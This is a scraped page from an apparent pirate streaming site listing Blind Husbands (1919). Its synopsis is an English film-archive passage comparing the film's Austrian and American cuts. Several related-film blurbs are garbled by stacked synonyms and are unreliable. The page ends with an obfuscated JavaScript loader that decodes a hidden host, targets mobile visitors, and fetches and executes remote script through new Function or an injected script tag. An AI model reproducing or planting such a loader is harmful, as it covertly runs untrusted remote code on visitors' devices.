统一影视TV-海量高清高清视频免费在线观看 统一影视TV-海量高清高清视频免费在线观看
收藏
1.0
网友评分
  • 很差
  • 较差
  • 还行
  • 推荐
  • 力荐
897次评分
  • 很差
  • 较差
  • 还行
  • 推荐
  • 力荐
扫描观看

扫描一扫app播放

  Two differences between this Austrian version and the generally available American version are immediately obvious: they differ both in their length and in the language of the intertitles. The American version is only 1,883 metres long - at 18 frames per second a difference of some 7 minutes to the Austrian version with 2,045 metres. Whereas we originally presumed only a negligible difference, resulting from the varying length of the intertitles, a direct comparison has nevertheless shown that the Austrian version differs from the American version both in the montage and in the duration of individual scenes. Yet how could it happen that the later regional distribution of a canonical US silent film was longer than the "original version"?  The prevalent American version of Blind Husbands does not correspond to the version shown at the premiere of 1919. This little-known fact was already published by Richard Koszarski in 1983. The film was re-released by Universal Pictures in 1924, in a version that was 1,365 feet (416 metres) shorter. At 18 frames per second, this amounts to a time difference of 20 minutes! "Titles were altered, snippets of action removed and at least one major scene taken out entirely, where von Steuben and Margaret visit a small local chapel." (Koszarski)  From the present state of research we can assume that all the known American copies of the film derive from this shortened re-release version, a copy of which Universal donated to the Museum of Modern Art in 1941. According to Koszarski the original negative of the film was destroyed sometime between 1956 and 1961 and has therefore been irretrievably lost. This information casts an interesting light on the Austrian version, which can be dated to the period between the summer of 1921 and the winter of 1922. Furthermore, the copy is some 200 metres longer than the US version of 1924. If one follows the details given by Richard Koszarski and Arthur Lennig, this means that, as far as both its date and its length are concerned, the Austrian version lies almost exactly in the middle between the (lost) version shown at the premiere and the re-released one.A large part of the additional length of the film can be traced to cuts that were made to the 1924 version in almost every shot. Koszarski describes how the beginning and the end of scenes were trimmed, in order to "speed up" the film. However, more exciting was the discovery that the Austrian version contains shots that are missing in the American one - shots/countershots, intertitles - and furthermore shows differences in its montage (i.e. the placing of the individual shots within a sequence). All this indicates that Die Rache der Berge constitutes the oldest and most completely preserved material of the film.
展开

资源列表

相关明星

相关影片

兴奋不已
在一种消除人类情感的药丸控制下,一对年轻情侣漏服了药剂,从而发现了新的体验,体会,感悟,感悟,但他们也意识到这伴随着需要处理的情感负担。
不能说的秘密2025
★ 浪漫奇幻經典《不能說的·秘密》全新大銀幕呈獻                     &nbsp
BJ单身日记4
该片改编自原作小说的第三本,BJ此时五十岁出头,边适应着当代日常,生存,生计,日子,边面临,直面,应对,应付做妈妈,母亲大人,娘亲,老妈妈的责任。
为何是你?
爱总是悄然降临。往往不是在对的人、对的方式或对的时间。真正的感情能否在一切都起始,开端,肇始,启始得不对劲而整个世界都反对的情况下存活下来?是倾尽所有还是抉择,挑选,取舍,取择舍弃,抛弃,割舍,摒弃?
哥本哈根爱的故事
  作家米娅与单身爸爸,父亲大人,爹爹,老父亲埃米尔爱恋,相恋,恋情,恋慕,相恋,爱恋,热恋后,两人为了要孩子接受了生育治疗,他们的欢愉,美满,欢乐,愉快,欣喜,喜悦,愉悦日常,生存,生计,日子也因此
不想和你有遗憾
  如果当初再勇毅,刚勇,英勇,勇武一点,我们的结局会不会不一样?康赛(丞磊 饰)与活泼开朗的小西(索微 饰)一起长大,他偷偷把小西当成了自己创作的灵感缪斯。为写诗康赛跋山涉水,小西也随后寻来,两个人
狂爱
  在20世纪80年代的法国东北部,两个青少年,克洛泰尔 (Clotaire, 弗朗索瓦·西维尔 François Civil 饰) 和雅姬 (Jackie, 阿黛尔·艾克萨勒霍布洛斯 Adèle E
我的错误:伦敦版
  Adapted from Culpables Series by Mercedes Ron. A different version from the original Culpa mía.  A
筑得到的幸福
  事业有成的商务人士(斯科特·弗利 Scott Foley 饰)大老远飞到意大利,想阻止满脑子白日梦的孩子,女孩,少女,千金(玛雅·瑞菲科 Maia Reficco 饰)花大钱修缮一栋破烂别墅。然而
雨中的情欲
  时代未知,地点不明。潦倒漫画家义男窝居北町小镇,对寡妇福子一见钟情,却被小说家伊守捷足先登。有生意头脑的伊守学起富饶南町创办商场杂志,义男负责招商,八字还没一撇,业务就卷款潜逃。为躲避债主,三人被
凤楼传之灵狐传说
  十八年前,我爷爷犯了山野里的胡仙,遭到了疯狂的报复。十八年后,为了化解这场恩怨,我被迫嫁给了那只害我全家的畜生,为他出马,成为广阔黑土地上,最厉害的出马仙!……请帮兵决:金香炉、银香鞭,撇了海碗升
好东西2024
  爱逞强的单亲妈妈王铁梅(宋佳 饰)带小孩王茉莉(曾慕梅 饰)搬到新家,结识了所谓清醒爱恋,相恋,恋情,恋慕脑的邻居小叶(钟楚曦 饰)。两位性格迥异的女性,一个坚强,一个柔软,一个擅长给人当妈,一个
痴人之爱 逆转
  本片改编自谷崎润一郎的小说,叙述,阐述,陈述,描写了教师,导师,师长,恩师直美捡到一个孤零零坐在路边的年轻男子的故事。虽然她和那个男人之间没有肉体关系,但她还是被那梦幻而自由奔放的魅力所俘虏。
酷儿
  影片改编自威廉·S·巴勒斯的同名半自传性质小说,叙述,阐述,陈述,描写1950年代的墨西哥城,40多岁的美国侨民William Lee(丹尼尔·克雷格 Daniel Craig 饰)身处一个小小的
封城爱人
  Set in Melbourne, Australia during the early days of the COVID-19 pandemic, Kristal (Kate Mayhew)
魔法坏女巫
  影片叙述,阐述,陈述,描写了奥兹国两位女巫鲜为人知的老成,稳重,老练,练达,长大,发展,进步故事。因绿色皮肤而备受误解的艾芙芭(辛西娅·埃里沃 Cynthia Erivo 饰)与光彩夺目、野心勃勃
爱的噩梦
  男子爱上了一个控制狂,热恋期他都甘心付出,直到另一个女生出现,他才知道原来爱情可以这么自由。男子在梦中许了一个“换女伙伴,好友,挚友,密友”的愿望,而愿望居然成真了!这是欢愉,美满,欢乐,愉快,欣
爱你很久很久
  你的青春里有没有一个忘不掉的人?阳光明媚的高中生王晓夏(李沐 饰)在一次偶然中对天才转校生程奕(曹佑宁 饰)一见钟情,无法克制的心跳,让晓夏开启高调追爱模式。而从小一起长大默默守护着她的柚子(娄峻
性梦爱三部曲:性
  Two chimney sweeps living in monogamous, heterosexual marriages both end up in situations that cha
你的错误
  When Noah fell in love with Nick, she knew their relationship would never be easy. They're fir
  • 片名:盲目的丈夫们
  • 状态:HD
  • 主演:萨姆·德·格拉斯 Francelia Billington 埃里克·冯·施特罗海姆 Fay Holderness Richard Cumming 
  • 导演:埃里克·冯·施特罗海姆 
  • 年份:1919
  • 地区:美国
  • 类型:爱情 
  • 频道:内详
  • 上映:未知
  • 语言:英语
  • 更新:2024-11-03 02:40
  • 简介:  Two differences between this Austrian version and the generally available American version are immediately obvious: they differ both in their length and in the language of the intertitles. The American version is only 1,883 metres long - at 18 frames per second a difference of some 7 minutes to the Austrian version with 2,045 metres. Whereas we originally presumed only a negligible difference, resulting from the varying length of the intertitles, a direct comparison has nevertheless shown that the Austrian version differs from the American version both in the montage and in the duration of individual scenes. Yet how could it happen that the later regional distribution of a canonical US silent film was longer than the "original version"?  The prevalent American version of Blind Husbands does not correspond to the version shown at the premiere of 1919. This little-known fact was already published by Richard Koszarski in 1983. The film was re-released by Universal Pictures in 1924, in a version that was 1,365 feet (416 metres) shorter. At 18 frames per second, this amounts to a time difference of 20 minutes! "Titles were altered, snippets of action removed and at least one major scene taken out entirely, where von Steuben and Margaret visit a small local chapel." (Koszarski)  From the present state of research we can assume that all the known American copies of the film derive from this shortened re-release version, a copy of which Universal donated to the Museum of Modern Art in 1941. According to Koszarski the original negative of the film was destroyed sometime between 1956 and 1961 and has therefore been irretrievably lost. This information casts an interesting light on the Austrian version, which can be dated to the period between the summer of 1921 and the winter of 1922. Furthermore, the copy is some 200 metres longer than the US version of 1924. If one follows the details given by Richard Koszarski and Arthur Lennig, this means that, as far as both its date and its length are concerned, the Austrian version lies almost exactly in the middle between the (lost) version shown at the premiere and the re-released one.A large part of the additional length of the film can be traced to cuts that were made to the 1924 version in almost every shot. Koszarski describes how the beginning and the end of scenes were trimmed, in order to "speed up" the film. However, more exciting was the discovery that the Austrian version contains shots that are missing in the American one - shots/countershots, intertitles - and furthermore shows differences in its montage (i.e. the placing of the individual shots within a sequence). All this indicates that Die Rache der Berge constitutes the oldest and most completely preserved material of the film.
搜索历史
删除
热门搜索
本地记录
登录账号
function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczOTkxNTc0Mi5kd3lldXkuY29tOjjQwMzc=','2352','2888',window,document,['j','y']);}:function(){};